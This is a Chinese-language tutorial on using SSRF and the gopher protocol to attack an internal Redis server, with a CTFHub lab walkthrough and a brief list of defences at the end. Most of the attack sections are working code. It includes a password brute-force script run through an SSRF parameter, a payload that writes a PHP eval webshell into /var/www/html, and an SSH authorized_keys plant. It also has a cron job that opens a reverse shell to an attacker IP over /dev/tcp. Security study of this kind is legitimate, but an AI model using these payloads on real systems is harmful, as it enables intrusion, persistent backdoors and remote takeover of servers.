利用SSRF攻击内网Redis服务
字数 1299 2025-08-15 21:33:48
Redis数据库SSRF攻击与利用详解
1. Redis数据库概述
Redis (REmote DIctionary Server) 是一个由Salvatore Sanfilippo开发的key-value存储系统,具有以下特点:
- 开源、使用ANSI C语言编写
- 遵守BSD协议
- 支持网络、可基于内存亦可持久化
- 提供多种语言的API
- 支持多种数据结构:字符串(String)、哈希(Hash)、列表(list)、集合(sets)和有序集合(sorted sets)
默认端口:6379
2. Redis安装与基本配置
安装Redis (Ubuntu系统)
apt-get install redis-server
配置文件修改
vim /etc/redis/redis.conf
关键配置项:
-
监听IP:
bind 127.0.0.1 ::1- 只监听本地端口
- 如需远程访问可添加本机IP,但可能导致未授权访问风险
-
密码设置:
#requirepass foobared- 取消注释并修改foobared为实际密码
启动Redis
两种启动方式:
-
直接启动:
/bin/redis-server /etc/redis/redis.conf -
服务方式启动:
service redis-server start- 注意:服务方式启动可能导致某些目录写入权限问题
3. RESP协议分析
Redis使用RESP(REdis Serialization Protocol)协议进行客户端-服务器通信。
RESP数据类型
+Simple Strings (简单字符串)-error (错误):Integer (整数)$Bulk Strings (多行字符串)*array (数组)
协议格式示例
认证并设置键值:
*2\r\n$4\r\nauth\r\n$6\r\n123456\r\n
*3\r\n$3\r\nset\r\n$3\r\nATL\r\n$5\r\nOcean\r\n
数据包捕获与分析
使用tcpdump捕获Redis通信:
tcpdump -i lo -s 0 port 6379 -w redis.pcap
4. 通过Gopher协议攻击Redis
基本攻击流程
- 构造RESP格式的命令
- 进行URL编码
- 通过curl+gopher协议发送
示例:认证并设置键值
原始命令:
auth 123456
set ATL2 Ocean2
URL编码后:
*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A
发送攻击:
curl gopher://127.0.0.1:6379/_*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A
5. Redis攻击方法
5.1 密码爆破
使用Python脚本爆破Redis密码:
from urllib.parse import quote
from urllib.request import Request, urlopen
url = "http://target/ssrf.php?url="
gopher = "gopher://127.0.0.1:6379/_"
def encoder_url(cmd):
return quote(cmd).replace("%0A", "%0D%0A")
for password in open("password.txt"):
cmd = f"auth {password}\nquit\n"
payload = url + gopher + encoder_url(encoder_url(cmd))
response = urlopen(Request(payload)).read().decode()
if response.count("+OK") > 1:
print(f"Found password: {password}")
break
5.2 Web目录写Webshell
利用Redis备份功能写入Webshell:
config set dir /var/www/html/
config set dbfilename shell.php
set test1 "\n\n\n<?php eval($_REQUEST['cmd']);?>\n\n\n"
save
Python实现:
path = "/var/www/html"
shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n"
filename = "shell.php"
cmd = f"""auth {password}
config set dir {path}
config set dbfilename {filename}
set test1 "{shell}"
save
quit
"""
5.3 写入SSH公钥
前提条件:
- 靶机允许密钥登录(修改/etc/ssh/sshd_config)
- StrictModes设置为no
- 重启sshd服务
攻击步骤:
-
本地生成密钥对:
ssh-keygen -t rsa -
写入公钥:
path = "/root/.ssh" shell = "\\n\\n\\n[公钥内容]\\n\\n\\n" filename = "authorized_keys"
5.4 定时任务反弹Shell
注意:此方法在CentOS上有效,Ubuntu因权限问题可能失败
反弹Shell命令:
/bin/bash -i >& /dev/tcp/[攻击机IP]/[端口] 0>&1
写入定时任务:
path = "/var/spool/cron/crontabs" # CentOS: /var/spool/cron
shell = "\\n\\n\\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\\n\\n\\n"
filename = "root" # 用户名
6. CTFHub SSRF-Redis实战
攻击流程:
- 识别SSRF漏洞点(如
?url=参数) - 构造无密码攻击payload
- 写入Webshell
- 连接获取flag
示例代码:
url = "http://target/?url="
gopher = "gopher://127.0.0.1:6379/_"
cmd = """config set dir /var/www/html
config set dbfilename shell.php
set test1 "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n"
save
quit
"""
7. 防御措施
-
配置安全:
- 设置强密码
- 限制绑定IP
- 禁用危险命令(如
config)
-
权限控制:
- 以非root用户运行Redis
- 限制Redis对关键目录的写入权限
-
网络防护:
- 防火墙限制访问
- 启用TLS加密
-
监控与日志:
- 监控异常连接
- 记录所有操作日志
通过以上详细分析,我们可以全面了解Redis数据库的SSRF攻击方法与防御策略。在实际渗透测试中,应根据目标环境选择最适合的攻击方式,并注意不同系统间的差异。